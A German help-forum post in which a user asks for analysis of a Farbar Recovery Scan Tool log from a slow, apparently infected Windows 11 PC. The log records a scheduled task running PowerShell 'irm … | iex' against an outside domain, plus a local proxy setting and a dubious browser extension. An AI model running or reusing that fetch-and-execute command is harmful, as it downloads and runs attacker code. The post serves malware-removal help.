Trojaner-Board

Trojaner-Board (https://www.trojaner-board.de/)
-   Log-Analyse und Auswertung (https://www.trojaner-board.de/log-analyse-auswertung/)
-   -   Langsame reaktion Win 11 (https://www.trojaner-board.de/214501-langsame-reaktion-win-11-a.html)

Pun99 20.01.2025 11:32
Langsame reaktion Win 11
 
Guten Tag zusammen,

ich habe hier Probleme mit dem Rechner eines Familienmitglieds.

Es sind angeblich "von alleine" verschiedene Programme installiert worden.
Es waren verschiedene "Sicherheitsprogramme" welche sich einfach über die Windows Einstellungen deinstallieren ließen.

Seit diese wieder weg sind kommt es nun aber hin und wieder zu schlechter Reaktion vom System, der Mauszeiger wird zur Sanduhr und die Taskleiste reagiert nicht.

Ich habe FRST scannen lassen, bin aber auf eure Auswertung angewiesen.

Vielen Dank

FRST.txt
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 19-01-2025
durchgeführt von wigla (Administrator) auf EMIL (20-01-2025 10:54:29)
Gestartet von C:\Users\wigla\Downloads\FRST64.exe
Geladene Profile: wigla
Plattform: Microsoft Windows 11 Pro Version 24H2 26100.2894 (X64) Sprache: Deutsch (Deutschland)
Standard-Browser: FF
Start-Modus: Normal

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\RadeonSoftware.exe
(A-Volute SAS -> A-Volute) C:\Users\wigla\AppData\Local\NhNotifSys\sonicstudio\asusns.exe
(C:\Program Files (x86)\ASUS\ArmouryDevice\asus_framework.exe ->) (ASUSTeK COMPUTER INC. -> ) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\SwAgent\ArmourySwAgent.exe
(C:\Program Files (x86)\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe ->) (Epic Games Inc. -> Epic Games, Inc.) C:\Program Files (x86)\Epic Games\Launcher\Engine\Binaries\Win64\EpicWebHelper.exe <2>
(C:\Program Files (x86)\LightingService\LightingService.exe ->) (ASUSTeK COMPUTER INC. -> ) C:\Program Files\ASUS\AacAmbientHal\AacAmbientLighting.exe
(C:\Program Files (x86)\Razer\Synapse3\Service\Razer Synapse Service.exe ->) (Razer USA Ltd. -> ) C:\Program Files (x86)\Razer\Synapse3\UserProcess\Razer Synapse Service Process.exe
(C:\Program Files (x86)\Steam\steam.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe <7>
(C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\amdow.exe
(C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\AMDRSSrcExt.exe
(C:\Program Files\AMD\CNext\CNext\RadeonSoftware.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\cncmd.exe
(C:\Program Files\ASUS\ARMOURY CRATE Lite Service\ArmouryCrate.Service.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.) C:\Program Files\ASUS\ARMOURY CRATE Lite Service\ArmouryCrate.UserSessionHelper.exe
(C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe ->) (Malwarebytes Inc. -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\Malwarebytes.exe
(C:\Program Files\Mozilla Firefox\firefox.exe ->) (Malwarebytes Inc. -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MbamBgNativeMsg.exe
(C:\Riot Games\Riot Client\RiotClientServices.exe ->) () [Datei ist nicht signiert] C:\Riot Games\Riot Client\RiotClientCrashHandler.exe
(C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe ->) () [Datei ist nicht signiert] C:\Users\wigla\AppData\Local\VoicemodV3\app\last\kit\crashpad_handler.exe
(C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe ->) (The Qt Company Oy -> The Qt Company Ltd.) C:\Users\wigla\AppData\Local\VoicemodV3\app\last\QtWebEngineProcess.exe <2>
(cmd.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\AMDRSServ.exe
(DriverStore\FileRepository\u0407412.inf_amd64_101d3d4e34955a9f\B407018\atiesrxx.exe ->) (Advanced Micro Devices -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0407412.inf_amd64_101d3d4e34955a9f\B407018\atieclxx.exe
(explorer.exe ->) (Epic Games Inc. -> Epic Games, Inc.) C:\Program Files (x86)\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe
(explorer.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe <7>
(explorer.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Microsoft OneDrive\OneDrive.exe
(explorer.exe ->) (Mozilla Corporation -> Mozilla Corporation) C:\Program Files\Mozilla Firefox\firefox.exe <11>
(explorer.exe ->) (Riot Games, Inc. -> Riot Games, Inc.) C:\Program Files\Riot Vanguard\vgtray.exe
(explorer.exe ->) (Riot Games, Inc. -> Riot Games, Inc.) C:\Riot Games\Riot Client\RiotClientServices.exe
(explorer.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Steam\steam.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\cmd.exe
(services.exe ->) (Advanced Micro Devices -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0407412.inf_amd64_101d3d4e34955a9f\B407018\atiesrxx.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUS Inc.) C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> Asustek Computer Inc.) C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files (x86)\ASUS\AsusFanControlService\2.03.43\AsusFanControlService.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files (x86)\ASUS\AXSP\4.03.12\atkexComSvc.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTek Computer Inc.) C:\Program Files (x86)\LightingService\LightingService.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.) C:\Program Files\ASUS\ARMOURY CRATE Lite Service\ArmouryCrate.Service.exe
(services.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.) C:\Program Files\ASUS\ROG Live Service\ROGLiveService.exe
(services.exe ->) (A-Volute SAS -> Nahimic) C:\Windows\System32\NahimicService.exe
(services.exe ->) (Malwarebytes Inc. -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(services.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncHelper.exe
(services.exe ->) (Microsoft Windows Hardware Compatibility Publisher -> Advanced Micro Devices, Inc.) C:\Windows\System32\DriverStore\FileRepository\amdfendr.inf_amd64_987f8cede005f427\amdfendrsr.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpDefenderCoreService.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MsMpEng.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\NisSrv.exe
(services.exe ->) (Razer USA Ltd. -> Razer Inc) C:\Program Files (x86)\Razer\Razer Services\GMS\GameManagerService.exe
(services.exe ->) (Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService.exe
(services.exe ->) (Razer USA Ltd. -> Razer Inc.) C:\Program Files (x86)\Razer\Synapse3\Service\Razer Synapse Service.exe
(services.exe ->) (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Windows\System32\DriverStore\FileRepository\realtekservice.inf_amd64_f8a05495a6e8bc10\RtkAudUService64.exe <2>
(services.exe ->) (Valve Corp. -> Valve Corporation) C:\Program Files (x86)\Common Files\Steam\steamservice.exe
(sihost.exe ->) (747CF5E3-AC1C-4505-8387-083BCE1B82DC -> GitHub, Inc.) C:\Program Files\WindowsApps\47492CenterpointGaming.ProSight_9.7.7.0_x64__rz8d8f65gztyc\app\CrosshairX.exe <7>
(sihost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_1.24112.22.0_x64__cw5n1h2txyewy\CrossDeviceService.exe
(svchost.exe ->) (24803D75-212C-471A-BC57-9EF86AB91435 -> ) C:\Program Files\WindowsApps\5319275A.WhatsAppDesktop_2.2502.3.0_x64__cv1g1gvanyjgm\WhatsApp.exe
(svchost.exe ->) (Advanced Micro Devices -> Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\CPUMetricsServer.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ) C:\Program Files\ASUS\KINGSTON_Aac_DRAM\AacKingstonDramHal_x64.exe <2>
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ) C:\Program Files\ASUS\KINGSTON_Aac_DRAM\AacKingstonDramHal_x86.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUS) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\AcPowerNotification\AcPowerNotification.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUS) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ArmourySocketServer\ArmourySocketServer.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUS) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\MBLedSDK\NoiseCancelingEngine.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTek Compputer Inc.) C:\Program Files\ASUS\AacMB\Aac3572MbHal_x64.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTek Compputer Inc.) C:\Program Files\ASUS\AacMB\Aac3572MbHal_x86.exe <2>
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.) C:\Program Files (x86)\ASUS\ArmouryDevice\asus_framework.exe <7>
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files\ASUS\AacExtCard\extensionCardHal_x64.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files\ASUS\AacExtCard\extensionCardHal_x86.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files\ASUS\ASUS_Aac_DRAM\Aac3572DramHal_x64.exe
(svchost.exe ->) (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.) C:\Program Files\ASUS\ASUS_Aac_DRAM\Aac3572DramHal_x86.exe
(svchost.exe ->) (A-Volute SAS -> Nahimic) C:\Windows\System32\NahimicSvc64.exe <2>
(svchost.exe ->) (A-Volute SAS -> Nahimic) C:\Windows\SysWOW64\NahimicSvc32.exe <2>
(svchost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.1.220.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe <2>
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_524.34401.20.0_x64__cw5n1h2txyewy\WidgetBoard.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\CHXSmartScreen.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
(VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc., Sucursal en España) C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe

==================== Registry (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [RtkAudUService] => C:\WINDOWS\System32\DriverStore\FileRepository\realtekservice.inf_amd64_f8a05495a6e8bc10\RtkAudUService64.exe [3496120 2024-06-21] (Realtek Semiconductor Corp. -> Realtek Semiconductor)
HKLM\...\Run: [Riot Vanguard] => C:\Program Files\Riot Vanguard\vgtray.exe [4131496 2024-12-20] (Riot Games, Inc. -> Riot Games, Inc.)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [OneDrive] => C:\Program Files\Microsoft OneDrive\OneDrive.exe [5006904 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [4412512 2024-12-02] (Valve Corp. -> Valve Corporation)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [EpicGamesLauncher] => C:\Program Files (x86)\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe [36981208 2024-12-04] (Epic Games Inc. -> Epic Games, Inc.)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [AMDNoiseSuppression] => "C:\Windows\system32\AMD\ANR\AMDNoiseSuppression.exe" (Keine Datei)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [RiotClient] => C:\Riot Games\Riot Client\RiotClientServices.exe [74279960 2025-01-10] (Riot Games, Inc. -> Riot Games, Inc.)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [Mod Menu] => C:\Users\wigla\AppData\Roaming\Mod Menu\XModz Mod Menu.exe (Keine Datei)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [MicrosoftEdgeAutoLaunch_A74EEC444A18EB9EC928EA5BE23D85FA] => "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start [3923496 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\Run: [VoicemodV3] => C:\Program Files\Voicemod V3\Voicemod.exe [6304144 2025-01-10] (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc.)

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {A09417A3-C89C-4307-8785-0CB2D92FD7B0} - System32\Tasks\AMDInstallLauncher => C:\Program Files\AMD\CIM\Bin64\InstallManagerApp.exe [1031384 2024-07-15] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {686588D2-8353-4BB6-9AB2-E5C1D30F8797} - System32\Tasks\AMDRyzenMasterSDKTask => C:\Program Files\AMD\CNext\CNext\cpumetricsserver.exe [184024 2024-07-14] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {5CFCCD41-ECA0-4806-897D-8E72B4C92ACF} - System32\Tasks\ASUS\AcPowerNotification => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\AcPowerNotification\AcPowerNotification.exe [371048 2024-08-13] (ASUSTeK COMPUTER INC. -> ASUS)
Task: {E8344803-317A-4E2F-953F-3D737A05CBEC} - System32\Tasks\ASUS\ArmourySocketServer => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ArmourySocketServer\ArmourySocketServer.exe [1771368 2024-08-13] (ASUSTeK COMPUTER INC. -> ASUS)
Task: {DCDB129E-3FDD-42C6-8CB0-B91F0DB5ABA0} - System32\Tasks\ASUS\ASUSUpdateTaskMachineCore1dac40552f21887 => C:\Program Files (x86)\ASUS\Update\AsusUpdate.exe [249704 2024-06-21] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
Task: {E31F6434-E1F0-497F-BFC4-A206CB1EF70D} - System32\Tasks\ASUS\ASUSUpdateTaskMachineUA => C:\Program Files (x86)\ASUS\Update\AsusUpdate.exe [249704 2024-06-21] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
Task: {33DAF321-C074-4979-8215-938238100018} - System32\Tasks\ASUS\Framework Service => C:\Program Files (x86)\ASUS\ArmouryDevice\asus_framework.exe [152109928 2024-08-13] (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.)
Task: {7386E32B-19EB-43E1-B8A5-8F8A2C52F2FE} - System32\Tasks\ASUS\NoiseCancelingEngine => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\MBLedSDK\NoiseCancelingEngine.exe [1261928 2023-12-07] (ASUSTeK COMPUTER INC. -> ASUS)
Task: {E0FEF777-8B6E-4964-B6AD-3274329AC822} - System32\Tasks\ASUS\P508PowerAgent_sdk => C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ShareFromArmouryIII\Mouse\ROG STRIX CARRY\P508PowerAgent.exe  (Keine Datei)
Task: {077BA067-7C15-40F0-B22E-C9DC2A54B4A2} - System32\Tasks\Microsoft\Windows\Location\Notifications => %windir%\System32\LocationNotificationWindows.exe  (Keine Datei)
Task: {F3E6E7ED-A196-4E44-8803-55FAB3AD4E29} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe  (Keine Datei)
Task: {164491EC-88A5-41FA-AEA5-DC7BC09E0259} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpCmdRun.exe [1687360 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {C525A243-558C-4052-ACCC-8F7ED05FF4BA} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpCmdRun.exe [1687360 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {04C8BD91-E21A-46F7-B88A-62AAAA8882A6} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpCmdRun.exe [1687360 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {25A8BC50-DAD9-4692-BA9B-17C896A705AE} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpCmdRun.exe [1687360 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {2120500C-A5F4-4C16-BA0E-D81E32F2F731} - System32\Tasks\MicrosoftConsole => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [454656 2024-04-01] (Microsoft Windows -> Microsoft Corporation) -> irm hxxps://kenovn.net/script | iex <==== ACHTUNG
Task: {44084B74-75D7-4DCF-BB3E-52173B258D5D} - System32\Tasks\ModifyLinkUpdate => C:\Program Files\AMD\CIM\Bin64\InstallManagerApp.exe [1031384 2024-07-15] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {644FCBA5-CA4C-4B03-B17C-A05AB2FEA5D3} - System32\Tasks\Mozilla\Firefox Background Update S-1-5-21-3736346939-3236848792-3681124891-1001 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\firefox.exe [672320 2025-01-15] (Mozilla Corporation -> Mozilla Corporation) -> C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\--MOZ_LOG sync,prependheader,timestamp,append,maxsize:1,Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate.moz_log --backgroundtask background (Der Dateneintrag hat 6 weitere Zeichen).
Task: {B0417A0D-C385-4E85-8E45-BE0ACF8E0EFB} - System32\Tasks\Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\default-browser-agent.exe [34368 2025-01-15] (Mozilla Corporation -> Mozilla Foundation)
Task: {3ABAABCD-4CE7-4D95-A964-54F75530BC41} - System32\Tasks\NahimicSvc32Run => C:\Windows\SysWOW64\NahimicSvc32.exe [833688 2024-06-21] (A-Volute SAS -> Nahimic)
Task: {43DC3C82-C824-4D44-A3E5-063E08B23AED} - System32\Tasks\NahimicSvc64Run => C:\Windows\system32\NahimicSvc64.exe [1094808 2024-06-21] (A-Volute SAS -> Nahimic)
Task: {348B5998-1757-4FBF-AE2E-200DA7C30143} - System32\Tasks\NahimicTask32 => C:\Windows\System32\..\SysWOW64\NahimicSvc32.exe [833688 0] (A-Volute SAS -> Nahimic)
Task: {F460B249-A8FA-4817-BC87-334930324803} - System32\Tasks\NahimicTask64 => C:\Windows\System32\.\NahimicSvc64.exe [1094808 0] (A-Volute SAS -> Nahimic)
Task: {10097597-40DC-4BF9-8E0D-A7031A7B91DD} - System32\Tasks\OneDrive Per-Machine Standalone Update Task => C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater.exe [4222504 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
Task: {900B6652-2F5A-4BCE-905C-1821FD6A5A48} - System32\Tasks\OneDrive Reporting Task-S-1-5-21-3736346939-3236848792-3681124891-1001 => C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater.exe [4222504 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
Task: {65E1C970-6F94-4344-B4B4-B5AA221133EE} - System32\Tasks\Opera GX scheduled Autoupdate 1736177274 => C:\Users\wigla\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe [5610392 2025-01-16] (Opera Norway AS -> Opera Software)
Task: {195DD4EE-FD86-4B73-AA09-0A5EDC63D388} - System32\Tasks\StartCN => C:\Program Files\AMD\CNext\CNext\cncmd.exe [60632 2024-07-14] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
Task: {BB5A8831-54BC-4B41-84C6-0B98A074A230} - System32\Tasks\StartDVR => C:\Program Files\AMD\CNext\CNext\RSServCmd.exe [324312 2024-07-14] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)

ProxyServer: [S-1-5-21-3736346939-3236848792-3681124891-1001] => http=127.0.0.1:60101;https=127.0.0.1:60101
Tcpip\Parameters: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{39fb8ccf-195f-4b55-ab83-ed69e99643f0}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{39fb8ccf-195f-4b55-ab83-ed69e99643f0}: [DhcpDomain] fritz.box

Edge:
=======
Edge Profile: C:\Users\wigla\AppData\Local\Microsoft\Edge\User Data\Default [2025-01-20]
Edge Extension: (Google Docs Offline) - C:\Users\wigla\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2024-12-29]
Edge Extension: (Edge relevant text changes) - C:\Users\wigla\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha [2024-06-21]

FireFox:
========
FF DefaultProfile: 2dtpyj62.default
FF ProfilePath: C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\2dtpyj62.default [2024-06-21]
FF ProfilePath: C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\hqtlacpj.default-release-1735275945714 [2025-01-20]
FF Extension: (Easy Print) - C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\hqtlacpj.default-release-1735275945714\Extensions\addonY235@easyprint.app.xpi [2025-01-05] [UpdateUrl:hxxps://cdn.easyprint-cdn.app/xpi/easyprint/mv3/0923/search/updates.json]
FF Extension: (Malwarebytes Browser Guard) - C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\hqtlacpj.default-release-1735275945714\Extensions\{242af0bb-db11-4734-b7a0-61cb8a9b20fb}.xpi [2025-01-19]
FF Extension: (Bitwarden Passwortmanager) - C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Profiles\hqtlacpj.default-release-1735275945714\Extensions\{446900e4-71c2-419f-a6a7-df9c091e268b}.xpi [2025-01-14]

Opera:
=======
StartMenuInternet: (HKU\S-1-5-21-3736346939-3236848792-3681124891-1001) Opera GXStable - "C:\Users\wigla\AppData\Local\Programs\Opera GX\opera.exe"

==================== Dienste (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 ArmouryCrateService; C:\Program Files\ASUS\ARMOURY CRATE Lite Service\ArmouryCrate.Service.exe [401880 2024-12-23] (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.)
R2 asComSvc; C:\Program Files (x86)\ASUS\AXSP\4.03.12\atkexComSvc.exe [908648 2024-12-04] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
S2 asus; C:\Program Files (x86)\ASUS\Update\AsusUpdate.exe [249704 2024-06-21] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
R2 AsusCertService; C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe [503144 2024-09-25] (ASUSTeK COMPUTER INC. -> Asustek Computer Inc.)
R2 AsusFanControlService; C:\Program Files (x86)\ASUS\AsusFanControlService\2.03.43\AsusFanControlService.exe [1854312 2024-12-04] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
S3 asusm; C:\Program Files (x86)\ASUS\Update\AsusUpdate.exe [249704 2024-06-21] (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
S2 AsusUpdateCheck; C:\WINDOWS\System32\AsusUpdateCheck.exe [845256 2025-01-20] (ASUSTeK Computer Inc. -> )
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [14893832 2024-09-14] (BattlEye Innovations e.K. -> )
S3 EasyAntiCheat; C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat.exe [1137904 2024-11-16] (EasyAntiCheat Oy -> Epic Games, Inc)
S3 EasyAntiCheat_EOS; C:\Program Files (x86)\EasyAntiCheat_EOS\EasyAntiCheat_EOS.exe [965872 2024-10-12] (EasyAntiCheat Oy -> Epic Games, Inc.)
S3 EpicOnlineServices; C:\Program Files (x86)\Epic Games\Epic Online Services\service\EpicOnlineServicesHost.exe [367064 2024-11-16] (Epic Games Inc. -> Epic Games, Inc.)
R3 FileSyncHelper; C:\Program Files\Microsoft OneDrive\24.244.1204.0003\FileSyncHelper.exe [3530280 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
R2 GameSDK Service; C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe [397544 2022-05-31] (ASUSTeK COMPUTER INC. -> ASUS Inc.)
R2 LightingService; C:\Program Files (x86)\LightingService\LightingService.exe [4955496 2024-08-08] (ASUSTeK COMPUTER INC. -> ASUSTek Computer Inc.)
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe [9441760 2024-12-15] (Malwarebytes Inc. -> Malwarebytes)
S3 MBVpnTunnelService; C:\Program Files\Malwarebytes\Anti-Malware\MBVpnTunnelService.exe [2788304 2025-01-10] (Malwarebytes Inc. -> Malwarebytes)
R2 MDCoreSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24090.11-0\MpDefenderCoreService.exe [1447680 2024-10-30] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 NahimicService; C:\WINDOWS\system32\NahimicService.exe [1920152 2024-06-21] (A-Volute SAS -> Nahimic)
S3 OneDrive Updater Service; C:\Program Files\Microsoft OneDrive\24.244.1204.0003\OneDriveUpdaterService.exe [3876392 2025-01-17] (Microsoft Corporation -> Microsoft Corporation)
R2 Razer Game Manager Service; C:\Program Files (x86)\Razer\Razer Services\GMS\GameManagerService.exe [256264 2023-02-10] (Razer USA Ltd. -> Razer Inc)
R2 Razer Synapse Service; C:\Program Files (x86)\Razer\Synapse3\Service\Razer Synapse Service.exe [298248 2024-06-26] (Razer USA Ltd. -> Razer Inc.)
R2 ROG Live Service; C:\Program Files\ASUS\ROG Live Service\ROGLiveService.exe [2125352 2024-11-22] (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.)
R2 RzActionSvc; C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService.exe [538424 2024-05-15] (Razer USA Ltd. -> Razer Inc.)
S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [559304 2024-12-04] (Microsoft Windows Publisher -> Microsoft Corporation)
